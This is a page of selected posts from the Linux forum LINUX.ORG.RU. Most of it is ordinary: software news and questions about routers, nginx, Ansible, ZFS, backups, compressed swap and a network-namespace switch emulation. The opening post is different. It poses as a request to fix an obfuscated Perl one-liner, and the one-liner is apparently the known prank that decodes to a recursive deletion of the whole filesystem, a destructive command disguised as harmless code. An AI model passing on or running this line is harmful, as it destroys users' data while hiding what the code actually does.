LINUX.ORG.RU

Избранные сообщения Harliff

программа из одной строчки ни Perl

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает

anonymous
()

HyperDX: альтернатива Datadog и New Relic

 , ,

Группа Open Source

13 сентября на Github опубликован HyperDX — инструмент мониторинга и отладки, который позволяет сопоставлять журналы, трассировки и сеансы пользователей в одном месте. Исходный код доступен и распространяется под лицензией MIT.

( читать дальше... )

>>> Подробности (github.com)

evgeny_aa
()

Jet — новая платформа автоматизации и оркестрации

 ,

Группа Linux General

Jet – новая платформа для автоматизации и оркестрации, ориентированная на сообщество пользователей и разработчиков. Платформа создаётся Майклом ДеХааном, создателем программ автоматизации IT-инфраструктуры Cobbler и Ansible.

( читать дальше... )

>>> Подробности (jetporch.com)

evgeny_aa
()

Какую последнюю версию Microsoft Office можно беспроблемно запустить через WINE?

 , ,

Пробовал 2019 - не работает.

Всякие альтернативы, по типу Libre или WPS Office ломают структуру/вёрстку в документах, особенно в презентациях. Поэтому я их не использую

MrCookie
()

OpenWrt vs. Mikrotik vs. Keenetic для дома

 , , , ,

Добрый день.

Уже много лет в моем доме трудится роутер TP-Link TL-WDR3600 с прошивкой OpenWrt. Брал его ещё в студенческие времена, когда денег было не очень много, зато было время и желание покрасноглазить и поэкспериментировать. На первых порах использовал его и в хвост и в гриву, даже развернул на нем домашний сервер. Со временем необходимость в подобных выкрутасах отпала, большинство задач переехала на более подходящие для этого устройства, а на роутере остались только вещи, связанные непосредственно с сетью:

  • Мой собственный VPN, соединяющий дом, работу и дачу. Внутри VPN используется IPv6, потому что в разных физических IPv4-сетях используется один и тот же диапазон адресов, а костылять не хотелось. Непосредственно VPN-шлюз стоит на другом устройстве, на роутере только прописан маршрут и организована раздача адресов.
  • Ipset + DNAT для заворачивания части запросов в shadowsocks-туннель.


Сейчас появилось желание обновить роутер до чего-нибудь с поддержкой 802.11ac, а может даже с 802.11ax. Так как никаких особо хитрых задач на роутере больше не решается, потребности в OpenWrt тоже нет. Плюс, есть ощущение, что сам OpenWrt не очень хорошо справляется со своими обязанностями - временами очень долго открываются страницы и скачет скорость по Wi-Fi при пустом эфире.

Посоветуйте, какие железки можно рассматривать в качестве замены. Первая мысль - Mikrotik. С некоторым скепсисом смотрю на RouterOS и её ярых фанатов, но если вещь действительно стоящая, то можно закрыть глаза на предубеждения и попробовать. Насколько я понимаю, первая задача на Mikrotik решается без проблем, а вот по поводу второй есть сомнения.

Кроме того, несколько раз слышал хорошие отзывы о Keenetic. Понятно, что это устройства сугубо для дома и рассчитанные в первую очередь на домохозяек, но если в них есть SSH-доступ и возможность устанавливать сторонний софт, то, может, и хватит для моих задач. Есть у кого-нибудь подобных опыт?

h31
()

Совет по разработке веб фронта для неразработчика

 , , , ,

Хочу сделать несколько простых веб сервисов (или как это правильно называется, когда есть веб фронт с заполнением чего-то, вычислением и представлением каких-то результатов?). Хочу именно сам, потому что и полезно, как вспомогательная деятельность, и интересно.

Более подробно: под мои задачи сделать веб страницу с полями, куда я ввожу какие-либо данные, которые заносятся в БД (sqlite, наверное, данных не так много, может на пару десятков тысяч строк), потом производятся некоторые расчеты, которые выводятся на страницу. Динамического обновления не надо, просто статика. Нажал - обновилась страница - результат показался. Ввел данные - нажал кнопку - данные отправились в БД. Красивостей особых не надо. По сути - заполнение бд, расчет, предоставление результата. Одна из крайне желательных фич, которую хочу внедрить, - выпадающий список с авто дополнением некоторых полей. Например, вводишь «карт», а тебе предлагают для дополнения из базы (это для связанных полей many-to-many), варианты «карта», «картошка», «картина» и т.д.

Что я немного умею: баш, питон (пара скриптов с простыми классами на пару тысяч строк).

Вопрос: что взять в качестве инструмента (вроде у питона есть фреймворки (джанго, фласк и т.п.)), но мне не хватает знаний/опыта понять, подходят ли они)? Оставить питон или взять какое-нибудь php? Может БД тоже другую? Мне не нужно перспектив разработчика, нужно чисто для себя и решить свои задачи при этом.

Насоветуйте. Для опытных объяснение может быть слишком поверхностным, поэтому задавайте уточняющие вопросы.

Если получиться что-то более-менее вменяемое - выложу в открытый доступ, чтобы пользовались все нуждающиеся. По заветам FOSS. Хотя кому это надо…

P.S. Всякие airtables и аналоги не подходят. Много лишнего, формат работы с базой неудобный, нет нужных выводов информации, нельзя при желании расширить самому как мне нужно не влезая в их код, а чтобы мне туда влезть намного больше сил и времени уйдет, чем самому сделать точно как мне надо.

Перемещено hobbit из general

Entmatix
()

Аналог Sandboxie для Linux

 , , ,

Всем привет.

Ищу аналог Sandboxie для онтопика. В Sandboxie мне нравится, что в ней можно:

  • создать отдельную песочницу для каждого приложения. И в настройках Launcher этого приложения указать в какой песочнице запускаться.
  • запускать параллельно несколько песочниц.
  • настраивать самоочиску песочниц после закрытия приложения.
  • «вынимать» из песочницы файлы, которым я доверяю.

Кто нибудь знает альтернативы? Я попробовал flatpak, но понял, что на Sanboxie он не похож.

StoryTeller
()

Ведущий инженер Linux \ инфраструктурный DevOps

 ,

Добрый день.

Ищем Linux инженера в команду.

Задачи - управление балансировщиками (nginx), управление кластерами k8s, ipa\openldap\dns\ntp\cloud, подготовка сред на VM и bare-metall, траблшутинг возникающих проблем.

По сути занимаемся инфраструктурой. Подготовили среду, отдали её и следим чтобы всё работало со стороны ОС.

Нам нужны хорошие знания по дисковой подсистеме, файловым системам, куберу в части обслуживания среды, балансировщикам, траблшутингу. Умение писать скрипты, плейбуки.

Основной дистрибутив - Ubuntu.

Плюсом будет: Знать общее устройство СХД энтерпрайз уровня. Уметь работать с VMware. Работа с Puppet. Огромным плюсом - администрирование MongoDB\PostgreSQL

Оклад по результатам собеседования от 200 чистыми + годовой бонус.

На данный момент работа удаленная 4 дня в неделю и один день в офисе. Территориально - метро Киевская.

Официальная вакансия - https://hh.ru/vacancy/66905146

Резюме можно кидать на почту horohoro01@yandex.ru

HoroHoro
()

Резкий и правильный переход на linux ???

 ,

Вопрос , как нормально настроить централизованное управление клиентскими пк ? Задачи такие : 1. уйти с винды на линукс 2. сделать так чтобы не бегать 3. какое нибудь хранение файлов пользователя, его домашней папки. или просто создание снимков ОС 4. как сделать чтобы пользователь мог прыгать по пк со своей домашней папкой ? тоесть пк сломался , он пересел и продолжил работу , тонкий клиент ? а есть другие варианты ?

В общем буду благодарен за информацию для конфигураций и что надо использовать , тонкий клиент тоже имеет место быть - не знаю из чего он лепится). А там уже гугл мне поможет)

Вобще планирую выбрать ос линукс для пользователей , и загнать машины в ansible а там уже думать , пока застрял на создании плейбуков )

подскажет кто по плейбукам?) к примеру чтобы скайп установить надо :

wget https://repo.skype.com/latest/skypeforlinux-64.deb | sudo dpkg -i skypeforlinux-64.deb | sudo apt install -f

как это в плейбук првельно вписать?)

Lipuchka_RD
()

Два сайта на одном nginx

 ,

Я запутался в серверных блоках. Это такие шняги в nginx для того, чтобы держать два сайта на одном nginx.

Вот у меня есть сайт в дефолтном каталоге nginx. Он работает, но я хочу чтобы был еще сайт dir.

  1. создал /etc/nginx/sites-available/dir
  2. сделал ему и nginxу симлинки на /etc/nginx/sites-enabled/
  3. В конфиге nginx.conf я писал include /etc/nginx/sites-enabled/*; ну или вместо этого писал include /etc/nginx/sites-enabled/dir; пути до них, но похоже это до задницы.

В серверном блоке nginx написано блокировать доступ по http в 404. А в серверном блоке dir доступ только по http. Но в результате у меня работает http://your_ip - открыватся dir, а https://your_ip - открывается nginx.
И еще, если глобально работает сайт по ip, то работает phpmyadmin, а если по каталогам http(s)://your_ip/dir, то phpmyadmin не работает.

Вчера настраивал абсолютно тоже самое и у меня был доступ к сайту только по http(s)://your_ip/dir и http(s)://your_ip/nginx. С этого момента я перестал понимать как оно работает, потому-что работает каждый раз по-разному. Я уже в конекретном недоразумении.

Задача: Сделать с доступом по http(s)://your_ip/dir и желательно, чтобы phpmyadmin работал. В будущем планировал еще на него устанавливать софт с веб-интерфейсами для доступа также по http(s)://your_ip:port Пока-что спасаюсь контейнерами.

Имеется: Nginx, php74, php-fpm, ssl, mysql57-server, phpmyadmin.

Если нужно, выложу nginx.conf и содержимое серверных блоков. Жду пинок под сраку в нужное направление.

Pinux001
()

C какими флагами правильно бекапить / ?

 ,

tar --acls \
    --xattrs \
    --warning='no-file-ignored' \
    -cjpf "${TARGET_DST}/${TARGET_ARCH}" \
    .

Вот так правильно, или нужно что-то еще?

serg002
()

Восстановление данных на ZFS

 , ,

Вечер добрый, господа. Вопрос для знающих ZFS. Роллбекнул снимок и, твою мать, не обратил внимание что он 3 месячной давности. У меня на ноуте был проект, который дохера+ важен. Есть идеи как отменить снапшот?

LINUX_SO_COOL
()

Посоветуйте, что посмотреть.

 

ЛОР-ч, посоветуй какое-нибудь годное мозголомное аниме с уклоном в научную фантастику и IT.

inb4: Steins Gate , Robotics Notes, Chaos Head, Battle Programmer Shirase, Appleseed, Serial Experiments Lain, Akira, Akita, Animatrix, .hack, Accel World, Real Drive.

devl547
()

Как закрыть активное tcp соединение linux?

 

Здравствуйте. У меня проблема. Сервер иногда подвергается ддос атаки одного человека. Есть tcp соединения при блоке которых через Iptables всё ещё остаются запросы: https://prnt.sc/128bi0d

Я заблокировал ип, н ос него всё ещё висят 51 запрос на tcp порт который оно досило. Соединение обрубается только если я перезагружу приложение которое было под атакой.

Его запросы: netstat -na | grep 117.94.104.57 tcp 0 0 43.123.xx.xx:6183 117.94.104.57:35696 ESTABLISHED tcp 0 0 43.123.xx.xx:6183 117.94.104.57:35728 ESTABLISHED tcp 0 0 43.123.xx.xx:6183 117.94.104.57:35784 ESTABLISHED tcp 0 0 43.123.xx.xx:6183 117.94.104.57:35672 ESTABLISHED tcp 0 0 43.123.xx.xx:6183 117.94.104.57:35842 ESTABLISHED tcp 0 0 43.123.xx.xx:6183 117.94.104.57:35716 ESTABLISHED

Трафика с него никакого не идёт: tcpdump host 117.94.104.57 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on enp1s0f0, link-type EN10MB (Ethernet), capture size 262144 bytes ^Z [12]+ Остановлено tcpdump host 117.94.104.57

Как его разорвать желательно автоматически или вручную без перезагрухки порта/приложения?

например создать какое ни будь правило в файрволе, если соединение неактивно х времени разрывать с ним связь.

salanca
()

Отфильтровать вывод ansible

 , , ,

Друзья!

Запускаю ansible, через rundeck - всё прекрасно! Но, не хочу городить множество ролей, по сему, вывод ansible выдаёт много лишних, пропущенных шагов, что затрудняет просмотр вывода в rundeck:

Вывод от запуска ansible, примерно такой:

PLAY [alfresco] *************************************************************** 
			
GATHERING FACTS *************************************************************** 
ok: [productive]
ok: [test]
ok: [dev1]
ok: [dev2]
			
TASK: [alfresco | create symlink for tomcat services] ************************* 

TASK: [alfresco | stop alfresco on a target host] *****************************
changed: [dev1]

TASK: [alfresco | run xxxx on a target host] *****************************

Задача:

Используя pipe, вывод в одну строку опустить. Показывать только две и более строки подряд. Чтобы не лезло всякого мусора от skipped task.

P.S. сам ansible такого не умеет. Такое только в ansible Tower есть.

DALDON
()

Как лучше сделать сжатый swap?

 , ,

Привет. На моем ноуте периодически не хватает памяти под рабочие задачки. Поэтому использую zswap, он хорошо справляется, но имеет недостаток. Когда нужно вытеснить страницу памяти из сжатого кэша в памяти, он ее разжимает и потом сохраняет с своп (насколько я выяснил дойдя аж до исходников https://github.com/torvalds/linux/blob/master/mm/zswap.c /* decompress */…но подробно не разбрался), что повышает дисковый IO. Мне хотелось бы что бы этого разжимания не было. Отсюда два вопроса.

  1. Есть ли аналог zswap, который умеет скидывать в своп сжатые страницы? zram в этом смысле вообще просто раздел в памяти сжатого свопа вроде бы просто заполнится и дальше будет работать своп на ссд следующий по приоритету без сжатия?
  2. Как можно сделать сжатый файл подкачки на уровне фс, что бы страницы zswap разжимал, а фс опять на лету сжимала? Это костыль конечно, но хоть так можно уменьшить износ ссд при использовании подкачки.
i3draven
()

Как бэкапят большие объёмы?

 

Есть условная база в 20 терабайт, как можно реализоват стратегию резервного копирования с минимальным временем на восстановление? Фулл бекап будет делаться несколько суток, инкременты будут расти в объёмах. Как резервируют такие кол-ва информации?

u0000
()

Ansible и коммутаторы

 

Привет всем. Пытаюсь использовать ansible для настройки коммутаторов.

Содержимое файла hosts:

[eltex]
192.168.90.33

Создал playbook test.yml

---.

- name: Run show commands on routers
  hosts: eltex

  tasks:

    - name: run sh ip int br
      cli_command:
        command: show version

При запуске ansible-playbook test.yml -vvv -u user

SSH password: /etc/ansible/hosts did not meet host_list requirements, check plugin documentation if this is unexpected /etc/ansible/hosts did not meet script requirements, check plugin documentation if this is unexpected Parsed /etc/ansible/hosts inventory source with ini plugin

PLAYBOOK: test.yml ************************************************************************************************************************************************************************************************************************** 1 plays in test.yml

PLAY [Run show commands on routers] *********************************************************************************************************************************************************************************************************

TASK [Gathering Facts] ********************************************************************************************************************************************************************************************************************** task path: /etc/ansible/group_vars/test.yml:3 <192.168.90.33> ESTABLISH SSH CONNECTION FOR USER: user <192.168.90.33> SSH: EXEC sshpass -d11 ssh -o StrictHostKeyChecking=no -o User=user -o ConnectTimeout=10 192.168.90.33 '/bin/sh -c '«'»'echo ~user && sleep 0'«'»"

И зависает. При этом устройство пингуется, на него по ssh я захожу. Впервые использую ansible, прошу помощи!)

dan4ex
()

Релиз openITCOCKPIT 4.0

 ,

Релиз openITCOCKPIT 4.0
Группа Open Source

openITCOCKPIT - это программное обеспечение с открытым кодом для конфигурации Nagios или Naemon.

Наиболее значительные изменения данной версии:

  • Сбор данных через собственного агента
  • Фронтенд с бэкендом взаимодействуют полностью через API
  • Уведомления через различные системы чата (Slack, RocketChat, Mattermost, …)
  • Автоматический перевод единиц измерения графиков в более простые единицы
  • Многочисленные улучшения работы веб интерфейса
  • и многое другое

Особенности

Исходный код

>>> Подробности (openitcockpit.io)

ira_1337
()

Эмуляция типичного коммутатора

 , , ,

  1. Создаём netns:
ip netns add switch
ip netns add host1
ip netns add host2
ip netns add host3
ip netns add host4
  1. Создаём виртуальные интерфейсы и делаем базовою настройку
ip link add dev ns-switch.0 up mtu 16384 type veth peer name eth0 mtu 16384 netns switch
ip link add dev ns-host1.0 up mtu 16384 type veth peer name eth0 mtu 16384 netns host1
ip link add dev ns-host2.0 up mtu 16384 type veth peer name eth0 mtu 16384 netns host2
ip link add dev ns-host3.0 up mtu 16384 type veth peer name eth0 mtu 16384 netns host3
ip link add dev ns-host4.0 up mtu 16384 type veth peer name eth0 mtu 16384 netns host4

# Поднимаем внутренние интерфейсы
ip -n switch link set dev eth0 up
ip -n host1 link set dev eth0 up
ip -n host2 link set dev eth0 up
ip -n host3 link set dev eth0 up
ip -n host4 link set dev eth0 up

# Прописываем адреса
ip -n host1 addr add 192.168.1.1/24 dev eth0
ip -n host2 addr add 192.168.1.2/24 dev eth0
ip -n host3 addr add 192.168.1.3/24 dev eth0
ip -n host4 addr add 192.168.1.4/24 dev eth0
  1. Инициализируем дисциплины для входящего трафика на всех интерфейсах
tc qdisc add dev ns-switch.0 handle ffff: ingress
tc qdisc add dev ns-host1.0 handle ffff: ingress
tc qdisc add dev ns-host2.0 handle ffff: ingress
tc qdisc add dev ns-host3.0 handle ffff: ingress
tc qdisc add dev ns-host4.0 handle ffff: ingress
  1. Делаем инкапсуляцию в 8021q и перенаправляем на головной интерфейс коммутатора
tc filter add dev ns-host1.0 parent ffff: matchall action vlan push id 1 pipe action mirred egress redirect dev ns-switch.0
tc filter add dev ns-host2.0 parent ffff: matchall action vlan push id 2 pipe action mirred egress redirect dev ns-switch.0
tc filter add dev ns-host3.0 parent ffff: matchall action vlan push id 3 pipe action mirred egress redirect dev ns-switch.0
tc filter add dev ns-host4.0 parent ffff: matchall action vlan push id 4 pipe action mirred egress redirect dev ns-switch.0
  1. Прописываем путь для обратных пакетов
tc filter add dev ns-switch.0 parent ffff: prio 1 protocol 802.1q flower vlan_id 1 action vlan pop pipe action mirred egress redirect dev ns-host1.0
tc filter add dev ns-switch.0 parent ffff: prio 2 protocol 802.1q flower vlan_id 2 action vlan pop pipe action mirred egress redirect dev ns-host2.0
tc filter add dev ns-switch.0 parent ffff: prio 3 protocol 802.1q flower vlan_id 3 action vlan pop pipe action mirred egress redirect dev ns-host3.0
tc filter add dev ns-switch.0 parent ffff: prio 4 protocol 802.1q flower vlan_id 4 action vlan pop pipe action mirred egress redirect dev ns-host4.0
  1. Создаём VLAN’ы на коммутаторе и делаем с ними что хотим
ip netns exec switch bash

ip link add link eth0 name eth0.1 up type vlan id 1
ip link add link eth0 name eth0.2 up type vlan id 2
ip link add link eth0 name eth0.3 up type vlan id 3
ip link add link eth0 name eth0.4 up type vlan id 4

# Ну, например делаем из них мост
ip link add dev br0 up mtu 16384 type bridge
ip link set dev eth0.1 master br0
ip link set dev eth0.2 master br0
ip link set dev eth0.3 master br0
ip link set dev eth0.4 master br0

Это может быть полезно, например в виртуальных машинах или если хочется протестировать работу opensource роутера и нет реального оборудования.

ne-vlezay
()